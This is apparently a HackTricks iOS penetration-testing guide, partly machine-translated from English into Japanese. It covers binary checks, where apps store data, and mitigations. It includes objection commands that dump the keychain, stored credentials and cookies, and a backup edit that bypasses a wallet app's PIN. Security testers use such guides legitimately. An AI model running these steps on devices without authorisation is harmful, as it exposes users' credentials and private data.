iOS Pentesting

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！

**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

テスト環境

このページでは iOS simulator、emulators および jailbreaking に関する情報が確認できます。

iOS Testing Environment

初期解析

基本的な iOS テスト操作

テストの間、いくつかの操作が推奨されます（デバイスへの接続、ファイルの読み書き／アップロード／ダウンロード、ツールの使用など）。そのため、これらの操作のいずれかを実行する方法が分からない場合は、まず以下のページをお読みください：

iOS Basic Testing Operations

Tip

以下の手順では アプリがデバイスにインストールされており、既にアプリの IPA file を取得している必要があります。
これを行う方法については、Basic iOS Testing Operations ページを参照してください。

基本的な静的解析

iOS - IPA ファイル向けの興味深いデコンパイラ:

IPA file に対して自動の静的解析を行うには、ツール MobSF の使用を推奨します。

バイナリに存在する保護機構の識別:

PIE (Position Independent Executable): 有効な場合、アプリケーションは起動ごとにランダムなメモリアドレスにロードされ、初期メモリアドレスの予測を困難にします。

otool -hv <app-binary> | grep PIE   # It should include the PIE flag

Stack Canaries: スタックの整合性を検証するため、関数呼び出し前に「カナリア」値がスタックに置かれ、関数終了時に再検証されます。

otool -I -v <app-binary> | grep stack_chk   # It should include the symbols: stack_chk_guard and stack_chk_fail

ARC (Automatic Reference Counting): 一般的なメモリ破損の脆弱性を防ぐための仕組み

otool -I -v <app-binary> | grep objc_release   # It should include the _objc_release symbol

Encrypted Binary: バイナリは暗号化されているべきです

otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # The cryptid should be 1

機密／脆弱な関数の特定

Weak Hashing Algorithms

# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"

Insecure Random Functions

# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"

Insecure ‘Malloc’ Function

# On the iOS device
otool -Iv <app> | grep -w "_malloc"

# On linux
grep -iER "_malloc"

Insecure and Vulnerable Functions

# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Common Jailbreak 検出手法

File System Checks: /Applications/Cydia.app や /Library/MobileSubstrate/MobileSubstrate.dylib のような一般的な jailbreak ファイルやディレクトリの存在を確認する。
Sandbox Violations: 非脱獄デバイスではブロックされるはずのファイルシステムの制限領域へのアクセスを試みる。
API Checks: fork() のような子プロセスを作成する呼び出しや system() の呼び出しが可能かを確認し、/bin/sh の存在を確認する。
Process Checks: Cydia、Substrate、ssh といった既知の jailbreak 関連プロセスの存在を監視する。
Kernel Exploits: jailbreak に一般的に使われるカーネルエクスプロイトの有無を確認する。
Environment Variables: DYLD_INSERT_LIBRARIES のような jailbreak の兆候を示す環境変数を調べる。
Libraries Check: アプリプロセスにロードされているライブラリを確認する。
Check schemes: canOpenURL(URL(string: “cydia://”)) のようなスキームを確認する。

Common Anti-Debugging 検出方法

Check for Debugger Presence: sysctl などを使ってデバッガがアタッチされているかを確認する。
Anti-Debugging APIs: ptrace や SIGSTOP のような anti-debugging API 呼び出し（例: ptrace(PT_DENY_ATTACH, 0, 0, 0)）を探す。
Timing Checks: 特定の操作にかかる時間を測定し、デバッグによる不整合がないか確認する。
Memory Checks: デバッガの痕跡や変更がないかメモリを検査する。
Environment Variables: デバッグセッションを示す環境変数を確認する。
Mach Ports: デバッガが使用する mach exception ports が使われているかを検出する。

基本的な動的解析

MobSF が行う動的解析を確認してください。さまざまなビューを操作して連携する必要がありますが、いくつかのクラスをhookingしたり他の処理を行い、完了するとレポートを作成します。

インストール済みアプリの一覧表示

インストール済みアプリの bundle identifier を特定するには、コマンド frida-ps -Uai を使用してください:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

基本的な列挙 & Hooking

アプリケーションのコンポーネントを列挙する方法と、objectionを使ってhook methods and classesを簡単に行う方法を学ぶ:

iOS Hooking With Objection

IPA file の構造は本質的にzipped package の構造です。拡張子を .zip に変更すると、内容を取り出すためにdecompressed できます。この構造の中では、Bundle はインストール可能な完全パッケージ化されたアプリケーションを表します。内部にはアプリケーションのリソースを格納する <NAME>.app というディレクトリがあります。

Info.plist: このファイルはアプリケーション固有の設定情報を保持します。
_CodeSignature/: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれます。
Assets.car: アイコンなどのアセットファイルを格納する圧縮アーカイブです。
Frameworks/: このフォルダにはアプリケーションのネイティブライブラリが格納され、.dylib や .framework ファイルの形を取ることがあります。
PlugIns/: これはアプリケーションへの拡張（.appex ファイル）を含む場合がありますが、常に存在するとは限りません。 * Core Data: オフライン利用のためにアプリの永続データを保存したり、一時データをキャッシュしたり、単一デバイス上での undo 機能を追加するために使用されます。単一の iCloud アカウント内で複数デバイス間のデータを同期するには、Core Data は自動的にスキーマを CloudKit コンテナにミラーします。
PkgInfo: PkgInfo ファイルは、アプリケーションやバンドルの type および creator コードを指定する別の方法です。
en.lproj, fr.proj, Base.lproj: これらは特定の言語用のリソースを含む言語パックで、該当言語がサポートされていない場合のデフォルトリソースも含みます。
Security: _CodeSignature/ ディレクトリは、デジタル署名を通じてバンドル内のすべてのファイルの整合性を検証することで、アプリのセキュリティにおいて重要な役割を果たします。
Asset Management: Assets.car ファイルはグラフィカルアセットを効率的に管理するために圧縮を使用しており、アプリのパフォーマンス最適化やサイズ削減に重要です。
Frameworks and PlugIns: これらのディレクトリは iOS アプリケーションのモジュール性を示しており、再利用可能なコードライブラリ（Frameworks/）を含めたり、アプリ機能を拡張したり（PlugIns/）できます。
Localization: 構造は複数言語をサポートしており、特定の言語パックを含めることでグローバルなアプリ展開を容易にします。

Info.plist

Info.plist は iOS アプリケーションの基礎を成すもので、key-value ペアの形で主要な構成データをカプセル化します。このファイルはアプリケーションだけでなく、同梱されるアプリ拡張やフレームワークにも必須です。XML またはバイナリ形式で構成され、アプリの権限からセキュリティ構成に至るまで重要な情報を保持します。利用可能なキーの詳細については Apple Developer Documentation を参照してください。

このファイルをより扱いやすい形式で操作したい場合、XML への変換は macOS 上の plutil（バージョン 10.2 以降でネイティブに利用可能）または Linux 上の plistutil を使って簡単に行えます。変換コマンドは次の通りです：

macOS向け:

$ plutil -convert xml1 Info.plist

Linux向け:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Info.plist ファイルが明かす数多くの情報の中で、注目すべきエントリには、アプリの権限文字列 (UsageDescription)、カスタム URL スキーム (CFBundleURLTypes)、および App Transport Security (NSAppTransportSecurity) の設定が含まれます。これらのエントリは、UTExportedTypeDeclarations / UTImportedTypeDeclarations のようなエクスポート/インポートされたカスタム文書タイプとともに、ファイルを調べるか、単純な grep コマンドを使うことで容易に見つけることができます:

$ grep -i <keyword> Info.plist

データパス

iOS環境では、ディレクトリはsystem applicationsとuser-installed applications向けに明確に割り当てられています。System applicationsは/Applicationsディレクトリに配置され、user-installed appsは/var/mobile/containers/Data/Application/の下に置かれます。これらのアプリには128-bit UUIDという一意の識別子が割り当てられており、ディレクトリ名がランダムなため手動でアプリのフォルダを特定するのは困難です。

Warning

iOSではアプリはサンドボックス化されているため、各アプリは**$HOME/Library/Containers内に、アプリのCFBundleIdentifier**をフォルダ名とするフォルダも持ちます。

ただし、両方のフォルダ（data & container folders）には .com.apple.mobile_container_manager.metadata.plist というファイルがあり、キー MCMetadataIdentifier で両者が紐付けられています。

ユーザがインストールしたアプリのインストールディレクトリを見つけやすくするため、objection toolは env という便利なコマンドを提供しています。このコマンドは対象アプリの詳細なディレクトリ情報を表示します。以下はこのコマンドの使用例です：

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

または、/private/var/containers 内で find コマンドを使用してアプリ名を検索できます:

find /private/var/containers -name "Progname*"

ps や lsof といったコマンドは、それぞれアプリのプロセスを特定し、開いているファイルを一覧表示するために利用でき、アプリケーションのアクティブなディレクトリパスの把握に役立ちます:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

バンドルディレクトリ:

AppName.app
これは以前IPA内で見たApplication Bundleで、アプリの重要なデータ、静的コンテンツ、およびアプリのコンパイル済みバイナリを含みます。
このディレクトリはユーザーから見えますが、ユーザーは書き込みできません。
このディレクトリの内容はバックアップされません。
このフォルダの内容はコード署名を検証するために使用されます。

データディレクトリ:

Documents/
ユーザーが生成したすべてのデータを含みます。これらのデータの作成はアプリのエンドユーザーによって開始されます。
ユーザーから見え、ユーザーは書き込み可能です。
このディレクトリの内容はバックアップされます。
アプリはNSURLIsExcludedFromBackupKeyを設定してパスをバックアップ対象外にできます。
Library/
ユーザー固有でないすべてのファイル、たとえばキャッシュ、設定、クッキー、および property list (plist) の構成ファイルを含みます。
iOSアプリは通常Application SupportおよびCachesサブディレクトリを使用しますが、アプリはカスタムのサブディレクトリを作成できます。
Library/Caches/
半永続的なキャッシュファイルを含みます。
ユーザーからは見えず、ユーザーは書き込みできません。
このディレクトリの内容はバックアップされません。
アプリが実行されておらずストレージが不足している場合、OSはこのディレクトリのファイルを自動的に削除することがあります。
Library/Application Support/
アプリの実行に必要な永続的なファイルを含みます。
ユーザーからは見えない、ユーザーは書き込みできません。
このディレクトリの内容はバック アップされます。
アプリはNSURLIsExcludedFromBackupKeyを設定してパスをバックアップ対象外にできます。
Library/Preferences/
アプリが再起動された後でも持続するプロパティを保存するために使用されます。
情報は暗号化されず、アプリケーションサンドボックス内の [BUNDLE_ID].plist というplistファイルに保存されます。
NSUserDefaultsを使って保存されたすべてのキー/バリューのペアはこのファイルで確認できます。
tmp/
アプリ起動間で保持する必要のない一時ファイルを書き込むためにこのディレクトリを使用します。
非永続的なキャッシュファイルを含みます。
ユーザーからは見えない。
このディレクトリの内容はバックアップされません。
アプリが実行されておらずストレージが不足している場合、OSはこのディレクトリのファイルを自動的に削除することがあります。

iGoat-Swift の Application Bundle (.app) ディレクトリを、Bundle ディレクトリ内（/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app）で詳しく見てみましょう:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Binary Reversing

Inside the <application-name>.app folder you will find a binary file called <application-name>. This is the file that will be executed. You can perform a basic inspection of the binary with the tool otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

アプリが暗号化されているか確認する

次のコマンドの出力があるか確認する:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Disassembling the binary

Disassemble the text section:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

サンプルアプリケーションのObjective-C segmentを出力するには、次を使用します:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

よりコンパクトな Objective-C コードを得るには、class-dump を使用できます:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

しかし、バイナリを逆アセンブルする最良のオプションは: Hopper と IDA です。

Data Storage

To learn about how iOS stores data in the device read this page:

iOS Basics

Warning

The following places to store information should be checked right after installing the application, after checking all the functionalities of the application and even after login out from one user and login into a different one.
The goal is to find unprotected sensitive information of the application (passwords, tokens), of the current user and of previously logged users.

Plist

plist files are structured XML files that contains key-value pairs. It’s a way to store persistent data, so sometimes you may find sensitive information in these files. It’s recommended to check these files after installing the app and after using intensively it to see if new data is written.

The most common way to persist data in plist files is through the usage of NSUserDefaults. This plist file is saved inside the app sandbox in Library/Preferences/<appBundleID>.plist

The NSUserDefaults class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to user preferences. Data saved by NSUserDefaults can be viewed in the application bundle. This class stores data in a plist file, but it’s meant to be used with small amounts of data.

This data cannot be longer accessed directly via a trusted computer, but can be accessed performing a backup.

You can dump the information saved using NSUserDefaults using objection’s ios nsuserdefaults get

To find all the plist of used by the application you can access to /private/var/mobile/Containers/Data/Application/{APPID} and run:

find ./ -name "*.plist"

ファイルを XML or binary (bplist) フォーマットからXMLに変換するには、OSに応じていくつかの方法があります:

macOSユーザー向け: plutil コマンドを利用します。これは macOS (10.2+) に標準で搭載されている、この目的のためのツールです:

$ plutil -convert xml1 Info.plist

Linuxユーザー向け: まず libplist-utils をインストールし、plistutil を使ってファイルを変換してください:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Objection セッション内: モバイルアプリケーションを解析する際、特定のコマンドで plist ファイルを直接変換できます:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data はアプリケーション内のオブジェクトのモデル層を管理するためのフレームワークです。 Core Data can use SQLite as its persistent store, しかし、フレームワーク自体はデータベースではありません。
CoreDataはデフォルトでデータを暗号化しません。しかし、追加の暗号化レイヤーをCoreDataに追加することができます。詳細はGitHub Repoを参照してください。

アプリケーションのSQLite Core Data情報は、パス /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support にあります。

SQLiteを開いて機密情報にアクセスできる場合、それは miss-configuration を発見したことになります。

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase は SQLite の上に構築されたキー/バリュー・ストアです.
Yap データベースは sqlite データベースであるため、前のセクションで示したコマンドを使ってそれらを見つけることができます。

Other SQLite Databases

アプリケーションが独自の sqlite データベースを作成することは一般的です。これらに保存機密 データを格納し、暗号化せずに放置している場合があります。したがって、アプリケーションのディレクトリ内のすべてのデータベースを確認する価値があります。データが保存されているアプリケーションディレクトリ（/private/var/mobile/Containers/Data/Application/{APPID}）に移動してください。

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

開発者は Firebase Real-Time Databases を通じて、データを保存・同期することができ、NoSQL クラウドホスト型データベースに保存されます。JSON形式で保存され、接続されたすべてのクライアントへリアルタイムで同期されます。

You can find how to check for misconfigured Firebase databases here:

Firebase Database

Realm databases

Realm Objective-C and Realm Swift は、Apple が提供しない強力なデータ保存の代替手段を提供します。デフォルトでは データを暗号化せずに保存します が、特定の設定により暗号化が可能です。

The databases are located at: /private/var/mobile/Containers/Data/Application/{APPID}. To explore these files, one can utilize commands like:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

これらのデータベースファイルを閲覧するには、Realm Studio ツールの使用を推奨します。

Realmデータベース内で暗号化を実装するには、以下のコードスニペットを使用できます:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Couchbase Lite データベース

Couchbase Lite は軽量かつ組み込みのデータベースエンジンで、ドキュメント指向 (NoSQL) アプローチに従います。iOSおよびmacOSにネイティブ対応するよう設計されており、データをシームレスに同期する機能を提供します。

デバイス上の潜在的な Couchbase データベースを特定するには、次のディレクトリを確認してください:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Cookies

iOSは各アプリのフォルダ内の Library/Cookies/cookies.binarycookies にアプリのCookieを保存します。しかし、開発者がそれらを keychain に保存することを選ぶ場合があり、前述の cookieファイルはバックアップからアクセス可能です。

Cookieファイルを調べるには this python script を使うか、objectionの ios cookies get.
またobjectionを使って これらのファイルをJSON形式に変換してデータを確認できます。

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Cache

By default NSURLSession stores data, such as HTTP requests and responses in the Cache.db database. このデータベースは、トークンやユーザー名、その他の機密情報がキャッシュされている場合、機密データを含んでいる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ（/var/mobile/Containers/Data/Application/<UUID>）を開き、/Library/Caches/<Bundle Identifier> に移動してください。WebKit cache is also being stored in the Cache.db ファイルにも保存されています。Objection は sqlite connect Cache.db コマンドでデータベースを開いて操作できます。これは通常の SQLite database だからです。

これらのデータにはリクエストやレスポンス内に機密情報が含まれる可能性があるため、キャッシュを無効化することが推奨されます。以下はそのためのいくつかの方法です：

ログアウト時にキャッシュされたレスポンスを削除することを推奨します。これは Apple が提供する removeAllCachedResponses メソッドで行えます。次のように呼び出します:

URLCache.shared.removeAllCachedResponses()

このメソッドは Cache.db ファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。

クッキーを使う必要がない場合は、URLSession の .ephemeral 設定プロパティを使用することをお勧めします。これによりクッキーとキャッシュの保存が無効になります。

Apple documentation:

An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.

Cache は Cache Policy を .notAllowed に設定することでも無効化できます。これにより、メモリ上でもディスク上でもいかなる形でもキャッシュの保存が無効になります。

Snapshots

Whenever you press the home button, iOS takes a snapshot of the current screen to be able to do the transition to the application on a much smoother way. しかし、現在の画面に機密データが表示されている場合、そのデータは画像として保存され（再起動をまたいで保持されます）、これらはホームボタンをダブルタップしてアプリ切り替えを行う際にアクセスできるスナップショットです。

iPhone がジャイルブレイクされていない限り、これらのスクリーンショットを閲覧するには attacker がデバイスのロックを解除してアクセスする必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の Library/Caches/Snapshots/ または Library/SplashBoard/Snapshots フォルダに保存されます（trusted computers は iOX 7.0 からファイルシステムにアクセスできません）。

この望ましくない動作を防ぐ一つの方法は、ApplicationDidEnterBackground() 関数を使用してスナップショットが撮られる前に画面を空白にするか、機密データを取り除くことです。

以下はデフォルトのスクリーンショットを設定するサンプル修正メソッドです。

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

これはアプリケーションがバックグラウンドになった際に背景画像を overlayImage.png に設定します。overlayImage.png が常に現在のビューを上書きするため、機密データのleaksを防ぎます。

Keychain

iOS keychain へアクセスおよび管理するために、Keychain-Dumper のようなツールが利用可能で、jailbroken デバイスに適しています。さらに、Objection は同様の目的で ios keychain dump コマンドを提供します。

資格情報の保存

NSURLCredential クラスは、NSUserDefaults やその他のラッパーを介さずに、機密情報を直接 keychain に保存するのに最適です。ログイン後に資格情報を保存するには、以下の Swift コードを使用します:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

これらの保存された認証情報を抽出するために、Objection のコマンド ios nsurlcredentialstorage dump が使用されます。

カスタムキーボードとキーボードキャッシュ

iOS 8.0 以降、ユーザはカスタムキーボード拡張をインストールでき、Settings > General > Keyboard > Keyboards で管理できます。これらのキーボードは機能拡張を提供しますが、キーストロークの記録や外部サーバへのデータ送信のリスクがあり、ネットワークアクセスが必要なキーボードについてはユーザに通知されます。アプリは機密情報の入力に対してカスタムキーボードの使用を制限でき、制限すべきです。

セキュリティ推奨事項：

セキュリティ向上のため、サードパーティ製キーボードを無効にすることが推奨されます。
デフォルトの iOS キーボードの自動補正 (autocorrect) および自動候補 (auto-suggestions) 機能は、Library/Keyboard/{locale}-dynamic-text.dat や /private/var/mobile/Library/Keyboard/dynamic-text.dat にあるキャッシュファイルに機密情報を保存する可能性がある点に注意してください。これらのキャッシュファイルは定期的に機密データがないか確認する必要があります。キャッシュをクリアするには Settings > General > Reset > Reset Keyboard Dictionary でキーボード辞書をリセットすることを推奨します。
ネットワークトラフィックを傍受することで、カスタムキーボードがキーストロークをリモート送信しているかどうかを判別できます。

テキストフィールドのキャッシュ対策

The UITextInputTraits protocol は自動補正や secure text entry を管理するプロパティを提供し、機密情報のキャッシュを防ぐために重要です。例えば、自動補正を無効にし、secure text entry を有効にするには次のようにします：

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

さらに、開発者はテキストフィールド、特にパスワードやPINのような機密情報を入力するフィールドについて、キャッシュを無効にするために autocorrectionType を UITextAutocorrectionTypeNo に、secureTextEntry を YES に設定することを確認する必要があります。

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Logs

デバッグコードのトラブルシューティングでは一般的に logging が使われます。リスクがあり、logs には機密情報が含まれている可能性があります。以前、iOS 6 およびそれ以前のバージョンでは、logs はすべてのアプリからアクセス可能であり、機密データの漏洩リスクがありました。現在、アプリケーションは自分の logs のみへアクセスするよう制限されています。

こうした制限にもかかわらず、ロック解除されたデバイスに物理的にアクセスできる物理的アクセスを持つ攻撃者は、デバイスをコンピュータに接続してlogs を読み取ることでこれを悪用できます。アプリをアンインストールした後でも logs はディスク上に残ることに注意してください。

リスクを軽減するため、アプリのすべての機能や入力を調べ、機密情報が意図せずに logs に記録されていないかを確認するために、アプリを徹底的に操作することを推奨します。

アプリのソースコードを確認して潜在的なleaksを探す際は、組み込み関数に対しては NSLog, NSAssert, NSCAssert, fprintf のようなキーワードを、カスタム実装に対しては Logging や Logfile のような言及を探し、predefined and custom logging statements の両方に注意してください。

Monitoring System Logs

Apps はさまざまな、機密になり得る情報をログに記録します。これらの logs を監視するには、次のようなツールやコマンドを使用します:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

役に立ちます。さらに、Xcode はコンソールログを収集する方法を提供します:

Xcode を開く。
iOSデバイスを接続する。
Window -> Devices and Simulators に移動する。
デバイスを選択する。
調査している問題を再現する。
Open Console ボタンを使って新しいウィンドウでログを表示する。

より高度なログ取得では、デバイスのシェルに接続して socat を使用することでリアルタイムのログ監視が可能です:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Followed by commands to observe log activities, which can be invaluable for diagnosing issues or identifying potential data leakage in logs.

Backups

Auto-backup features は iOS に統合されており、iTunes（macOS Catalina まで）、Finder（macOS Catalina 以降）、または iCloud を使ってデバイスのデータコピーを作成できます。これらのバックアップは、Apple Pay の詳細や Touch ID の設定など、非常に機密性の高い要素を除き、ほとんどすべてのデバイスデータを含みます。

Security Risks

バックアップに インストールされたアプリとそのデータ が含まれることで、潜在的な データ漏洩 の問題や、バックアップの改変がアプリの動作に影響を与えるリスク が生じます。これらのリスクを軽減するため、アプリのディレクトリやそのサブディレクトリ内に機密情報を平文で保存しないことが推奨されます。

Excluding Files from Backups

Documents/ と Library/Application Support/ のファイルはデフォルトでバックアップされます。開発者は、NSURL setResourceValue:forKey:error: を NSURLIsExcludedFromBackupKey と共に使用して、特定のファイルやディレクトリをバックアップから除外できます。この手法は、機密データがバックアップに含まれるのを防ぐために重要です。

Testing for Vulnerabilities

アプリのバックアップセキュリティを評価するには、まず Finder を使って バックアップを作成 し、Apple’s official documentation の案内に従ってそのバックアップを見つけます。バックアップを解析して、機密データやアプリの動作に影響を与える可能性のある設定が含まれていないか確認します。

機密情報はコマンドラインツールや iMazing のようなアプリケーションで検索できます。暗号化されたバックアップについては、バックアップのルートにある “Manifest.plist” ファイルの “IsEncrypted” キーを確認して暗号化の有無を確認できます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

encrypted backups を扱う際、DinoSec’s GitHub repo にある Python スクリプト（backup_tool.py や backup_passwd.py など）が役立つことがありますが、最新の iTunes/Finder バージョンとの互換性のために調整が必要な場合があります。パスワード保護された password-protected backups 内のファイルにアクセスする別のオプションとして、iOSbackup tool があります。

アプリ挙動の変更

backup の変更によってアプリ挙動を変える例として、Bither bitcoin wallet app が挙げられます。UI lock PIN は net.bither.plist 内の pin_code キーに保存されています。plist からこのキーを削除して backup を復元すると、PIN 要求が解除され、制限なくアクセスできるようになります。

機密データのメモリ検査のまとめ

アプリのメモリに格納された機密情報を扱う際は、そのデータの露出時間を最小限にすることが重要です。メモリ内容を調査する主なアプローチは2つあります: creating a memory dump と analyzing the memory in real time。どちらの方法にも課題があり、dump や解析の過程で重要なデータを見落とす可能性があります。

Memory Dump の取得と解析

jailbroken と non-jailbroken の両方のデバイスに対して、objection や Fridump のようなツールでアプリの process memory の dumping が可能です。ダンプした後、そのデータを解析するには、探している情報の性質に応じて様々なツールが必要になります。

memory dump から文字列を抽出するには、strings や rabin2 -zz といったコマンドを使用できます:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

